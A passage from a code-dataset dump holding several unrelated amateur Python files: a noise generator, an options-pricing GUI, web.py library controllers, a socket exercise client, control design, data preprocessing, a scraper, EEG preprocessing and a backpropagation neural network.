'NO'","sub_path":"OAs/LinkedIn/Braces.py","file_name":"Braces.py","file_ext":"py","file_size_in_byte":554,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"167814211","text":"## A Cheaper noise function\r\nimport math, random, pygame\r\nimport space_explorer\r\n\r\nclass myNoise:\r\n def __init__(self, seed):\r\n self.Xseed = random.randint(0,999999999)\r\n self.Yseed = random.randint(0,999999999)\r\n\r\n self.interval = 100\r\n\r\n def noise1d(self,x, seed):\r\n data = space_explorer.myhash(x//self.interval, seed) ## Possibly hash only once\r\n a = data[0]\r\n value = ((x%self.interval)+a)*((x%self.interval)+self.interval)\r\n maximum = ((self.interval/2)+a)*((self.interval/2)+self.interval)\r\n if x%self.interval == 0:\r\n print(x,a)\r\n if value/ maximum > 1:\r\n return(1)\r\n return value/maximum\r\n \r\n def noise2d(self,x,y):\r\n return (self.noise1d(x, self.Xseed) + self.noise1d(y, self.Yseed))/2\r\n \r\npygame.init()\r\nnoise = myNoise(\"Curtis\")\r\nscreen = pygame.display.set_mode((500,500))\r\nfor x in range(500):\r\n for y in range(500):\r\n ##print(noise.noise2d(x,y))\r\n alt = (noise.noise2d(x,y) + 1)/2 * 255\r\n ##print(alt)\r\n pixel = (alt,alt,alt)\r\n screen.set_at((x,y),pixel)\r\nprint(\"All Done\")\r\npygame.display.flip()\r\n \r\n","sub_path":"Space Explorer/myNoise.py","file_name":"myNoise.py","file_ext":"py","file_size_in_byte":1183,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"527575066","text":"import tkinter as tk\nfrom tkinter import TOP, W, X, LEFT, YES, BOTH\nimport os\nfrom price import appModel as model\nfrom price import others as others\n\nfrom price import heatMap as heatMap\n\n#import matplotlib.pyplot as plt\n#from pyecharts import Bar\n\nclass Application(tk.Frame):\n def __init__(self, master=None):\n super().__init__(master)\n self.master = master\n self.pack()\n self.create_widgets(self.master)\n\n def create_widgets(self, master):\n ########\n \n buttonFrame = tk.Frame(master)\n self.idButton = tk.Button(buttonFrame, width = 10)\n self.idButton[\"text\"] = \"Search By ID\"\n self.idButton[\"command\"] = self.computation\n self.idButton.pack(side=\"left\", expand = \"yes\")\n \n \"\"\"\n self.windIDButton = tk.Button(buttonFrame, width = 10)\n self.windIDButton[\"text\"] = \"Search By Wind ID\"\n self.windIDButton[\"command\"] = self.windIDSearch\n self.windIDButton.pack(side=\"right\", expand = \"yes\")\n \"\"\"\n \n self.plotButton = tk.Button(buttonFrame, width = 10)\n self.plotButton[\"text\"] = \"Plot\"\n self.plotButton[\"command\"] = self.plot\n self.plotButton.pack(side=\"right\", expand = \"yes\")\n \n buttonFrame.pack(side = \"top\", expand = \"yes\")\n \n ######\n fm1 = tk.Frame(master)\n self.timeLabel = tk.Label(fm1, text='Today:')\n self.timeLabel.pack(side = \"left\", anchor=\"w\", fill=\"x\", expand=\"yes\")\n \n self.time = tk.StringVar()\n self.time.set('2019-07-08')\n self.tInputBox = tk.Entry(fm1, textvariable = self.time)\n self.tInputBox.pack(side = \"right\", anchor=\"w\", fill=\"x\", expand=\"yes\")\n \n fm1.pack(expand = \"yes\")\n \n ######\n fm11 = tk.Frame(master)\n self.s0Label = tk.Label(fm11, text='Spot Bump:')\n self.s0Label.pack(side = \"left\", anchor=\"w\", fill=\"x\", expand=\"yes\")\n \n self.s0 = tk.StringVar()\n self.s0.set('1.0')\n self.s0InputBox = tk.Entry(fm11, textvariable = self.s0)\n self.s0InputBox.pack(side = \"right\", anchor=\"w\", fill=\"x\", expand=\"yes\")\n \n fm11.pack(expand = \"yes\")\n \n ######\n fm111 = tk.Frame(master)\n self.sigmaLabel = tk.Label(fm111, text='Volatility Bump:')\n self.sigmaLabel.pack(side = \"left\", anchor=\"w\", fill=\"x\", expand=\"yes\")\n \n self.sigma = tk.StringVar()\n self.sigma.set('1.0')\n self.sigmaInputBox = tk.Entry(fm111, textvariable = self.sigma)\n self.sigmaInputBox.pack(side = \"right\", anchor=\"w\", fill=\"x\", expand=\"yes\")\n \n fm111.pack(expand = \"yes\")\n \n ######\n fm2 = tk.Frame(master)\n self.idLabel = tk.Label(fm2, text='ID:')\n self.idLabel.pack(side = \"left\", anchor=\"w\", fill=\"x\", expand=\"yes\")\n \n self.idString = tk.StringVar()\n self.idString.set('19461157')\n self.idInputBox = tk.Entry(fm2, textvariable = self.idString)\n self.idInputBox.pack(side = \"right\", anchor=\"w\", fill=\"x\", expand=\"yes\")\n \n fm2.pack(expand = \"yes\")\n #######\n \"\"\"\n windIDFrame = tk.Frame(master)\n self.windIDLabel = tk.Label(windIDFrame, text='Wind ID:')\n self.windIDLabel.pack(side = \"left\", anchor=\"w\", fill=\"x\", expand=\"yes\")\n \n self.windIDString = tk.StringVar()\n self.windIDString.set('000016.SH')\n self.windIDInputBox = tk.Entry(windIDFrame, textvariable = self.windIDString)\n self.windIDInputBox.pack(side = \"right\", anchor=\"w\", fill=\"x\", expand=\"yes\")\n \n windIDFrame.pack(expand = \"yes\")\n \"\"\"\n #######\n\n fm3 = tk.Frame(master)\n self.label1 = tk.Label(fm3, text='Price:')\n self.label1.pack(side = \"left\", anchor=\"w\", fill=\"x\", expand=\"yes\")\n \n self.priceString = tk.StringVar()\n self.priceString.set(\"0.0\")\n self.priceLabel = tk.Entry(fm3, text = self.priceString)\n self.priceLabel.pack(side = \"right\", anchor=\"w\", fill=\"x\", expand=\"yes\")\n \n fm3.pack(expand = \"yes\")\n ########\n \n fm4 = tk.Frame(master)\n self.label2 = tk.Label(fm4, text='Delta:')\n self.label2.pack(side = \"left\", anchor=\"w\", fill=\"x\", expand=\"yes\")\n \n self.deltaString = tk.StringVar()\n self.deltaString.set(\"0.0\")\n self.deltaLabel = tk.Entry(fm4, text = self.deltaString)\n self.deltaLabel.pack(side = \"right\", anchor=\"w\", fill=\"x\", expand=\"yes\")\n \n fm4.pack(expand = \"yes\")\n ########\n \n fm5 = tk.Frame(master)\n self.label3 = tk.Label(fm5, text='Gamma:')\n self.label3.pack(side = \"left\", anchor=\"w\", fill=\"x\", expand=\"yes\")\n \n self.gammaString = tk.StringVar()\n self.gammaString.set(\"0.0\")\n self.gammaLabel = tk.Entry(fm5, text = self.gammaString)\n self.gammaLabel.pack(side = \"right\", anchor=\"w\", fill=\"x\", expand=\"yes\")\n \n fm5.pack(expand = \"yes\")\n ########\n \n fm6 = tk.Frame(master)\n self.label4 = tk.Label(fm6, text='Vega:')\n self.label4.pack(side = \"left\", anchor=\"w\", fill=\"x\", expand=\"yes\")\n \n self.vegaString = tk.StringVar()\n self.vegaString.set(\"0.0\")\n self.vegaLabel = tk.Entry(fm6, text = self.vegaString)\n self.vegaLabel.pack(side = \"right\", anchor=\"w\", fill=\"x\", expand=\"yes\")\n \n fm6.pack(expand = \"yes\")\n ########\n \n fm7 = tk.Frame(master)\n self.label5 = tk.Label(fm7, text='Theta:')\n self.label5.pack(side = \"left\", anchor=\"w\", fill=\"x\", expand=\"yes\")\n \n self.thetaString = tk.StringVar()\n self.thetaString.set(\"0.0\")\n self.thetaLabel = tk.Entry(fm7, text = self.thetaString)\n self.thetaLabel.pack(side = \"right\", anchor=\"w\", fill=\"x\", expand=\"yes\")\n \n fm7.pack(expand = \"yes\")\n \n \n #######\n \n self.quit = tk.Button(self, width = 10, text=\"QUIT\", fg=\"red\",\n command=self.master.destroy)\n self.quit.pack(side = \"bottom\")\n \n def computation(self):\n if others.isNormalID(self.idString.get()):\n self.idSearch()\n else:\n self.windIDSearch()\n\n \n def idSearch(self):\n #pathString = os.path.abspath(\"UITest.py\")[:-9] + \"data.xls\"\n idToFind = self.idString.get()\n today = self.time.get()\n s0Shock = self.s0.get()\n sigmaShock = self.sigma.get()\n #[idSet, price_tmpSet, delta_tmpSet, gamma_tmpSet, vega_tmpSet, theta_tmpSet] = model.getData(idToFind, today, s0Shock, sigmaShock)\n #self.priceString.set(price_tmpSet[0])\n #self.deltaString.set(delta_tmpSet[0])\n #self.gammaString.set(gamma_tmpSet[0])\n #self.vegaString.set(vega_tmpSet[0])\n #self.thetaString.set(theta_tmpSet[0])\n ratePoints = [None, 0.0229471, 0.0250464, 0.0254817, 0.0255681, 0.0258563, 0.0263679, 0.0270334, 0.0279025, None]\n \"\"\"\n ONPoint = ratePoints[0]\n oneMonthPoint = ratePoints[1]\n threeMonthPoint = ratePoints[2]\n sixMonthPoint = ratePoints[3]\n nineMonthPoint = ratePoints[4]\n oneYearPoint = ratePoints[5]\n twoYearPoint = ratePoints[6]\n threeYearPoint = ratePoints[7]\n fourYearPoint = ratePoints[8]\n fiveYearPoint = ratePoints[9]\n \"\"\"\n data = model.readData()\n data = others.setT(data,today) # data is T-sensitive\n [id_tmp, price_tmp, deltaExposure, delta_tmp, gammaExposure, gamma_tmp, thetaExposure, theta_tmp, vegaExposure, vega_tmp, PV_tmp] = model.getData(data, idToFind, ratePoints, s0Shock, sigmaShock)\n #heatMapData = model.getHeatMapData(data, \"Price\", True, idToFind, ratePoints)\n #print(heatMapData[0])\n print(price_tmp[0], deltaExposure[0], delta_tmp[0], gammaExposure[0], gamma_tmp[0], thetaExposure[0], theta_tmp[0], vegaExposure[0], vega_tmp[0], PV_tmp[0])\n \n def windIDSearch(self):\n windIDToFind = self.idString.get() #########\n today = self.time.get()\n s0Shock = self.s0.get()\n sigmaShock = self.sigma.get()\n ratePoints = [None, 0.0229471, 0.0250464, 0.0254817, 0.0255681, 0.0258563, 0.0263679, 0.0270334, 0.0279025, None]\n data = model.readData()\n data = others.setT(data,today) # data is T-sensitive\n [idSet, price_tmpSet, deltaExposureSet, delta_tmpSet, gammaExposureSet, gamma_tmpSet, thetaExposureSet, theta_tmpSet, vegaExposureSet, vega_tmpSet, PVSet] = model.getDataWithWindID(data, windIDToFind, ratePoints, s0Shock, sigmaShock)\n sumUpList = others.sumUpEachList(others.convertDataSet(idSet, price_tmpSet, deltaExposureSet, delta_tmpSet, gammaExposureSet, gamma_tmpSet, thetaExposureSet, theta_tmpSet, vegaExposureSet, vega_tmpSet, PVSet))\n print(sumUpList)\n\n #heatMapData = model.getHeatMapData(data, \"Price\", False, windIDToFind, ratePoints)\n #print(heatMapData[0])\n \n \n def plot(self):\n idToFind = self.idString.get()\n today = self.time.get()\n ratePoints = [None, 0.0229471, 0.0250464, 0.0254817, 0.0255681, 0.0258563, 0.0263679, 0.0270334, 0.0279025, None]\n heatMap.plotHeatMap(idToFind, today, ratePoints)\n print(\"Plotted\")\n\n \n \nroot = tk.Tk()\nroot.geometry(\"300x500\")\napp = Application(master=root)\napp.mainloop()\n\n\n","sub_path":"demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":9478,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"13734027","text":"#!/usr/bin/python2\n\nimport sys, types, web\n\nfrom models import Author, Book, Genre, Series, Session, User\n\n##############################################################################\n\nclass StandardPage (object):\n\n _renderers = {}\n\n requires_authentication = True\n\n template_name = None\n\n def __init__ (self, templates_loc='templates', site_layout_template='layout', display_logic='displaylogic'):\n super(StandardPage, self).__init__()\n self.renderer = (templates_loc, site_layout_template)\n\n self.session = Session()\n self.template_globals = { 'session' : self.session,\n 'has_role' : self.has_role,\n 'is_admin' : self.is_admin,\n 'is_librarian' : self.is_librarian,\n }\n if display_logic:\n module = __import__(display_logic)\n for attr in dir(module):\n if attr.startswith('_'): continue\n obj = getattr(module, attr)\n if type(obj) is not types.FunctionType: continue\n self.template_globals[attr] = obj\n\n def render (self, vals):\n rendobj = StandardPage._renderers.get(self.renderer, None)\n if rendobj is None:\n if self.renderer[1]:\n rendobj = web.template.render(self.renderer[0], base=self.renderer[1], globals=self.template_globals)\n else:\n rendobj = web.template.render(self.renderer[0], globals=self.template_globals)\n StandardPage._renderers[self.renderer] = rendobj\n\n if self.template_name is None:\n self.template_name = self.__class__.__name__.lower()\n\n template_func = getattr(rendobj, self.template_name)\n if vals is None:\n return template_func()\n elif type(vals) in (tuple,list):\n return template_func(*vals)\n else:\n return template_func(vals)\n\n def GET (self, *args):\n if self.requires_authentication and not self.authenticated():\n after_login_page = web.ctx.fullpath\n if after_login_page == '/login':\n after_login_page = '/'\n self.session.after_login_page = after_login_page\n raise web.seeother('/login')\n\n page = self.render(self.get(*args))\n del self.session.flash\n return page\n\n def POST (self, *args):\n if self.requires_authentication and not self.authenticated():\n raise web.unauthorized()\n\n page = self.render(self.post(*args))\n del self.session.flash\n return page\n\n def authenticated (self):\n authed = self.session.authenticated\n if not authed: return False\n self.user = User(self.session.user)\n return True\n\n def has_role (self, rolename):\n if not self.authenticated(): return False\n return rolename in self.user.roles()\n\n def is_admin (self):\n return self.has_role('administrator')\n\n def is_librarian (self):\n return self.has_role('librarian')\n\n def get (self, *args):\n raise web.notfound()\n\n def post (self, *args):\n raise web.notfound()\n\n##############################################################################\n\nclass LoginPage (StandardPage):\n\n requires_authentication = False\n\n template_name = 'login'\n\n def __init__ (self):\n super(LoginPage, self).__init__(site_layout_template=None)\n\n def get (self, *args):\n if self.authenticated():\n raise web.seeother('/')\n return \"\"\n\n def post (self):\n i = web.input()\n try:\n u = User(i.email)\n except IndexError:\n self.session.flash = \"Invalid email or password\"\n return i.email\n\n if u.authenticated(i.password):\n self.session.user = u.email\n self.session.authenticated = True\n\n redirect = self.session.after_login_page\n if redirect is None:\n redirect = '/'\n else:\n del self.session.after_login_page\n raise web.seeother(redirect)\n\n self.session.flash = \"Invalid email or password\"\n return i.email\n\nclass LogoutPage (StandardPage):\n\n requires_authentication = False\n\n template_name = 'logout'\n\n def get (self):\n if self.authenticated():\n self.session.authenticated = False\n self.session.after_login_page = None\n self.user.deauthenticate()\n raise web.seeother('/login')\n\n##############################################################################\n\nclass HomePage (StandardPage):\n\n template_name = 'index'\n\n def get (self):\n newest_books = Book.newest()\n top_genres = Genre.all_toplevel()\n return newest_books, top_genres\n\n##############################################################################\n\nclass BookPage (StandardPage):\n\n def getBook (self, book_id):\n try:\n return Book(book_id)\n except IndexError:\n raise web.seeother('/')\n\nclass BookDetails (BookPage):\n\n def get (self, book_id, bleh):\n return self.getBook(book_id)\n \n##############################################################################\n\nclass AuthorPage (StandardPage):\n\n def getAuthor (self, author_id):\n try:\n return Author(author_id)\n except IndexError:\n raise web.seeother('/')\n\nclass AuthorDetails (AuthorPage):\n\n def get (self, author_id, bleh):\n return self.getAuthor(author_id)\n\n##############################################################################\n\nclass SeriesPage (StandardPage):\n\n def getSeries (self, series_id):\n try:\n return Series(series_id)\n except IndexError:\n raise web.seeother('/')\n\nclass SeriesDetails (SeriesPage):\n\n def get (self, series_id, bleh):\n return self.getSeries(series_id)\n\n##############################################################################\n\nclass GenrePage (StandardPage):\n\n def getGenre (self, genre_id):\n try:\n return Genre(genre_id)\n except IndexError:\n raise web.seeother('/')\n\nclass GenreDetails (GenrePage):\n\n def get (self, genre_id, bleh):\n return self.getGenre(genre_id)\n\nclass GenreManage (GenrePage):\n\n def get (self):\n pass\n\n##############################################################################\n\nclass StaticController (object):\n\n directory = 'static'\n\n def GET (self, name):\n content_type = self.find_content_type(name)\n try:\n web.header('Content-Type', content_type)\n return open(os.path.join(self.directory, name), 'rb').read()\n except (IOError, OSError):\n raise web.notfound()\n\n def find_content_type (self, name):\n return \"application/octet-stream\"\n\n\nclass StaticCss (StaticController):\n\n directory = 'static/css'\n\n def find_content_type (self, name):\n return \"text/css\"\n\nclass StaticJavascript (StaticController):\n\n directory = 'static/javascript'\n\n def find_content_type (self, name):\n return \"text/javascript\"\n\nclass StaticImage (StaticController):\n\n directory = 'static/images'\n\n types = { 'png' : 'images/png',\n 'jpg' : 'images/jpeg',\n 'jpeg' : 'images/jpeg',\n 'gif' : 'images/gif',\n 'ico' : 'images/x-icon',\n }\n\n def find_content_type (self, name):\n ext = name.split('.')[-1].lower()\n return self.types[ext]\n\nclass StaticCovers (StaticImage):\n\n directory = 'static/covers'\n\n##############################################################################\n## THE END\n","sub_path":"controllers.py","file_name":"controllers.py","file_ext":"py","file_size_in_byte":7754,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"507745282","text":"import sys\nimport socket\nimport random\nimport string\n\nip = ['192.168.122.155', '192.168.122.21']\n\nfor x in range(2):\n # Create a TCP/IP socket\n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\n # Connect the socket to the port where the server is listening\n server_address = (ip[x], 10000)\n print(f\"connecting to {server_address}\")\n sock.connect(server_address)\n\n try:\n # Send data\n # 1Mb = 1000kb\n # 1Kb = 1000byte\n # 1character = 1byte\n # Conclusion : 2Mb = 2000000 Character\n # Replace 150 to 2000000 (2Mb)\n message = ''.join(random.choices(string.ascii_letters, k = 150))\n print(f\"sending {message}\")\n sock.sendall(message.encode())\n\n # Look for the response\n amount_received = 0\n amount_expected = len(message)\n while amount_received < amount_expected:\n data = sock.recv(16)\n amount_received += len(data)\n print(f\"{data}\")\n finally:\n print(\"closing\")\n sock.close()","sub_path":"progjar1/Jawab/client_kirimString2MB.py","file_name":"client_kirimString2MB.py","file_ext":"py","file_size_in_byte":1040,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"234048230","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Dec 7 20:30:24 2020\n\n@author: christopher\n\"\"\"\nimport numpy as np\nimport numpy.linalg as LA\nimport matplotlib.pyplot as plt\nimport pendulumParam as P\nimport control as ctl\n\n# get state space matrix\nA = P.A\nB = P.B\nC = P.C\nD = P.D\n\n# calculate the eigenvalues\nE = LA.eigvals(A)\n\n# desired closed loop eigenvalues\nP = np.array([-1, -2, -3, -4])\n# P = np.array([-3, -4, -5, -6])\n\n# sets the param value \"K\"\nK = ctl.place(A, B, P)\n\n# check for closed loop eigenvalues\nAcl = A - np.matmul(B,K)\nEcl = LA.eigvals(Acl)\n\n# create open loop system\nssol = ctl.StateSpace(A, B, C, D)\n\n# create closed loop system\nsscl = ctl.StateSpace(Acl, B, C, D)\n\n# solve for Kr\nKdc = ctl.dcgain(sscl);\nKr = 1/Kdc[0]\n\n# create scaled input closed loop system\nsyscl_scaled = ctl.StateSpace(Acl, B*Kr, C, D)\n\n# run the sisotool\nt, y = ctl.step_response(syscl_scaled)\n\n# plot the step response\nfig, axs = plt.subplots(2)\nfig.suptitle('Step Response, Poles:' + str(P))\naxs[0].plot(t, y[0])\naxs[0].set_ylabel('Amplitude')\naxs[0].set_title('Response of z(t)')\naxs[1].plot(t, y[2])\naxs[1].set_xlabel('Time [s]')\naxs[1].set_ylabel('Amplitude')\naxs[1].set_title('Response of theta(t)')","sub_path":"labs/Lab11/controlDesign.py","file_name":"controlDesign.py","file_ext":"py","file_size_in_byte":1216,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"241191834","text":"#process and update the missing data in dataset\r\nimport pandas\r\nimport numpy\r\nfrom sys import argv\r\n\r\n#arguments for the command\r\nscript, TrainData_Input, TestData_Input = argv\r\n\r\n# process data\r\ndef process(data_input):\r\n\tdata_input = data_input.replace('?', numpy.NaN)\r\n\r\n\tletter_col_miss = [0,3,4,5,6]\t#letter-valued features col with missing data\r\n\tfor i in letter_col_miss:\r\n\t\tdata_input[i] = data_input[i].fillna(data_input[i].mode()[0])\t\t\t#replacing letter missing data with a or b\r\n\r\n\tfloat_col_miss = [1,13]\t\t\t\t\t#float-valued features col with missing data\r\n\tlabels = ['+', '-']\r\n\tfor col in float_col_miss:\r\n\t\tdata_input[col] = data_input[col].apply(float)\t\t#convert strings values into float\r\n\t\tfor c in labels:\r\n\t\t\tdata_input.loc[(data_input[col].isnull()) & (data_input[15] == c), col] = data_input[col][data_input[15] == c].mean() #calculate the ? according to the equation\r\n\r\n\tfloat_col = [1,2,7,10,13,14] \t#all of the float-valued features col\r\n\tfor col in float_col:\r\n\t\tdata_input[col] = (data_input[col] - data_input[col].mean()) / data_input[col].std()\t\t\t\t#process the data according to the rule\r\n\r\n\treturn data_input\r\n\r\nTrainingData = pandas.read_csv(TrainData_Input, header=None)\r\nTestingData = pandas.read_csv(TestData_Input, header=None)\r\nTrainingData = process(TrainingData)\r\nTestingData = process(TestingData)\r\nTrainingData.to_csv('crx.training.processed', header=False, index=False)\r\nTestingData.to_csv('crx.testing.processed', header=False, index=False)\r\n","sub_path":"knn/process.py","file_name":"process.py","file_ext":"py","file_size_in_byte":1483,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"131358995","text":"import random\nimport time\nfrom selenium import webdriver\n\n\nclass PhanBS(object):\n\n\tdef __init__(self, start_url):\n\t\tself.start_url = start_url\n\t\tself.bs = webdriver.PhantomJS()\n\n\tdef get_album_ids(self):\n\t\tpg = 1\n\t\talbum_ids = list()\n\t\twhile True:\n\t\t\tself.bs.get(self.start_url + str(pg))\n\t\t\ttime.sleep(random.randint(1, 3))\n\t\t\talbum_node = self.bs.find_elements_by_xpath('//*[contains(@id, \"album_\")]')\n\t\t\tif not album_node:\n\t\t\t\tself.bs.quit()\n\t\t\t\tbreak\n\n\t\t\tfor node in album_node:\n\t\t\t\talbum_ids.append({\"album_id\": node.get_property(\"id\").split(\"_\")[-1], \"pg\": pg})\n\t\t\tpg += 1\n\t\treturn sorted(album_ids, key=lambda e: int(e[\"album_id\"]), reverse=True)\n\n\nif __name__ == '__main__':\n\tbs = PhanBS(\"http://home.babytree.com/102656671/photo/list?pg=\")\n\tprint(bs.get_album_ids())\n","sub_path":"baby_tree/baby_tree/utils/ghost_bs.py","file_name":"ghost_bs.py","file_ext":"py","file_size_in_byte":776,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"460515939","text":"#!/usr/bin/env python3\n\nfrom eeglib.helpers import Helper\nfrom eeglib.wrapper import Wrapper\nimport pandas as pd\nimport numpy as np\nimport argparse\nimport time\nimport os\n\n\ndef load_csv(filename):\n data = pd.read_csv(filename, skiprows=1,\n usecols=['EEG.Cz', 'EEG.Fz', 'EEG.Fp1', 'EEG.F7',\n 'EEG.F3', 'EEG.FC1', 'EEG.C3', 'EEG.FC5',\n 'EEG.FT9', 'EEG.T7', 'EEG.CP5', 'EEG.CP1',\n 'EEG.P3', 'EEG.P7', 'EEG.PO9', 'EEG.O1',\n 'EEG.Pz', 'EEG.Oz', 'EEG.O2', 'EEG.PO10',\n 'EEG.P8', 'EEG.P4', 'EEG.CP2', 'EEG.CP6',\n 'EEG.T8', 'EEG.FT10', 'EEG.FC6', 'EEG.C4',\n 'EEG.FC2', 'EEG.F4', 'EEG.F8', 'EEG.Fp2'])\n\n helper = Helper(data.to_numpy())\n return helper\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description='Script generating dataset (data, label)')\n parser.add_argument('-f', dest='filename',\n type=str, help='Csv file to create the dataset', required=True)\n parser.add_argument('-o', dest='output_path',\n type=str, help='Output file for preprocessed data', required=True)\n args = parser.parse_args()\n helper = load_csv(args.filename);\n for eeg in helper:\n filename = os.path.join(args.output_path, \"data_\" + str(time.strftime(\"%d-%m-%Y_%H-%M\")))\n np.save(filename, eeg.getChannel())\n","sub_path":"src/preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":1521,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"159760038","text":"__author__ = 'vandermonde'\n\nimport os\nimport numpy as np\nfrom numpy import genfromtxt\nfrom tqdm import tqdm\nimport shutil\n\n\ninput_dir = \"/media/vandermonde/My Passport/runs/run6/data\"\noutput_dir = \"/media/vandermonde/32b27fef-6be0-4b5c-b235-71e906ef2818/runs\"\n\n\n\ndef convertAndWriteFile(in_f, outf):\n obj = genfromtxt(in_f, delimiter=\",\").astype(np.float32)\n if len(obj.shape) == 1:\n obj = np.expand_dims(obj, axis=0)[:,:-1]\n else:\n obj = obj[:,:-1]\n\n np.save(outf,obj)\n\n# input_feat_dirs = [ o for o in os.listdir(input_dir) if os.path.isdir(os.path.join(input_dir,o))]\n# for ifd in input_feat_dirs:\n#\n# input_query_dirs = [o for o in os.listdir(input_dir+\"/\"+ifd) if os.path.isdir(os.path.join(input_dir+\"/\"+ifd,o))]\n# for iqd in input_query_dirs:\n# if not os.path.exists(output_dir+\"/\"+ifd+\"/\"+iqd):\n# os.makedirs(output_dir+\"/\"+ifd+\"/\"+iqd)\n#\n# file_names = [o for o in os.listdir(input_dir+\"/\"+ifd+\"/\"+iqd)]\n# print(\"feature:\" + ifd + \"\\tquery:\" + iqd + \"\\tfiles: \" + str(len(file_names)))\n# for fn in tqdm(file_names):\n# convertAndWriteFile(input_dir+\"/\"+ifd+\"/\"+iqd+\"/\"+fn, output_dir+\"/\"+ifd+\"/\"+iqd+\"/\"+fn)\n#\n# shutil.rmtree(input_dir+\"/\"+ifd+\"/\"+iqd)\n#\n\nf1 = \"/media/vandermonde/HDD/binary_run/run0/data/dfs/350/\"\nfiles = [ o for o in os.listdir(f1) if not os.path.isdir(os.path.join(input_dir,o))]\nf2 = \"/media/vandermonde/HDD/binary_run2/run2/data/dfs/350/\"\n\nfor file in files:\n first = np.load(f1 + file)\n second = np.load(f2 + file)\n if not np.array_equal(first, second):\n print(\"are not equal \" )\n\n# print(\"f1.shape\", first.shape)\n# print(\"f2.shape\", second.shape)\n# print(\"f1\", first)\n# print(\"f2\", second)\n\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1738,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"653787635","text":"# -*- coding: utf-8 -*-\nimport numpy as np\nimport pandas as pd\nimport scipy\nimport scipy.optimize\n\n#-----------------------------\n# PREPARAÇÕES\n#-----------------------------\n\n# Sigmoid é a Regressão aplicada como hipótese\ndef sigmoid(z):\n\n z = 1/(1+np.exp(-z))\n \n return z\n\n# Gera Gradiente do Sigmoid\ndef sigmoidGradient(z):\n \n g = np.zeros(z.shape)\n g = sigmoid(z) * (1 - sigmoid(z))\n\n return g\n\n# Inicializador de pesos, fornecido no exercício\n'''\n Inicializa aleatoriamente os pesos de uma camada usando \n L_in (conexoes de entrada) e L_out (conexoes de saida).\n\n W sera definido como uma matriz de dimensoes [L_out, 1 + L_in]\n \n randomSeed: indica a semente para o gerador aleatorio\n'''\ndef inicializaPesosAleatorios(L_in, L_out, randomSeed = None):\n epsilon_init = 0.12\n \n # se for fornecida uma semente para o gerador aleatorio\n if randomSeed is not None:\n W = np.random.RandomState(randomSeed).rand(L_out, 1 + L_in) * 2 * epsilon_init - epsilon_init\n \n # se nao for fornecida uma semente para o gerador aleatorio\n else:\n W = np.random.rand(L_out, 1 + L_in) * 2 * epsilon_init - epsilon_init\n \n return W\n\n#-----------------------------\n# FOWARD + BACK PROPAGATION\n#-----------------------------\n'''\nDefinião dos parâmetros\n thetas: junção dos thetas nas camadas\n tamanho_entrada: quantidade de neurônios na entrada\n tamanho_intermediaria: quantidade de neurônios na camada intermediária\n num_classes: número de classes\n X: amostras\n y: vetor contendo classes de cada amostra\n vLambda: parâmetro de regularização\n'''\ndef funcaoCusto_backp_reg(thetas, tamanho_entrada, tamanho_intermediaria, num_classes, X, y, vLambda):\n\n # Forma thetas para cada camada\n Theta1 = np.reshape( thetas[0:tamanho_intermediaria*(tamanho_entrada + 1)], (tamanho_intermediaria, tamanho_entrada+1) )\n Theta2 = np.reshape( thetas[ tamanho_intermediaria*(tamanho_entrada + 1):], (num_classes, tamanho_intermediaria+1) )\n \n # Inicialização de variáveis úteis e de retorno\n m = X.shape[0]\n \n Y = np.zeros( (m, num_classes) )\n for i in range (0, m):\n Y[i][y[i]] = 1\n \n J = 0;\n Theta1_grad = np.zeros(Theta1.shape)\n Theta2_grad = np.zeros(Theta2.shape)\n \n # === Foward Propagation ===\n # insere bias = 1\n X_bias = np.insert(X, 0, 1, axis=1)\n \n # rede oculta\n a2 = sigmoid( np.dot (X_bias, Theta1.T) )\n \n # bias\n a2 = np.insert(a2, 0, 1, axis=1) \n hip = sigmoid( np.dot(a2, Theta2.T) )\n \n # === Custo ===\n regula = (vLambda / (2 * m) ) * ( np.sum(Theta1.T[1:,:] ** 2) + np.sum(Theta2.T[1:,:] ** 2) )\n J = (1 / m) * np.sum( -Y * np.log(hip) - (1 - Y) * np.log(1 - hip) ) + regula\n \n #--------Backpropagation--------\n \n # Calculando Sigmas\n sigma3 = hip - Y\n sigma2 = np.dot(sigma3, Theta2[:,1:]) * sigmoidGradient( np.dot (X_bias, Theta1.T) )\n \n # Calculando Thetas\n Theta2_grad = Theta2_grad + np.dot(sigma3.T, a2) / m\n Theta1_grad = Theta1_grad + np.dot(sigma2.T, X_bias) /m \n \n Theta2_grad[:,1:] = Theta2_grad[:,1:] + (vLambda / (m) ) * (Theta2[:,1:])\n Theta1_grad[:,1:] = Theta1_grad[:,1:] + (vLambda / (m) ) * (Theta1[:,1:])\n\n # Junta os gradientes\n grad = np.concatenate([np.ravel(Theta1_grad), np.ravel(Theta2_grad)])\n\n return J, grad\n\n#-----------------------------\n# TREINAMENTO MELHORES THETAS\n#-----------------------------\n\ndef rna_treino(Thetas, tamanho_entrada, tamanho_intermediaria, num_classes, X, Y, vLambda):\n #print('\\n Treinando a rede neural.......')\n MaxIter = 1000\n\n # Minimiza a funcao de custo\n result = scipy.optimize.minimize(fun=funcaoCusto_backp_reg, x0=Thetas, args=(tamanho_entrada, tamanho_intermediaria, num_classes, X, Y, vLambda), \n method='TNC', jac=True, options={'maxiter': MaxIter})\n\n # Coleta os pesos 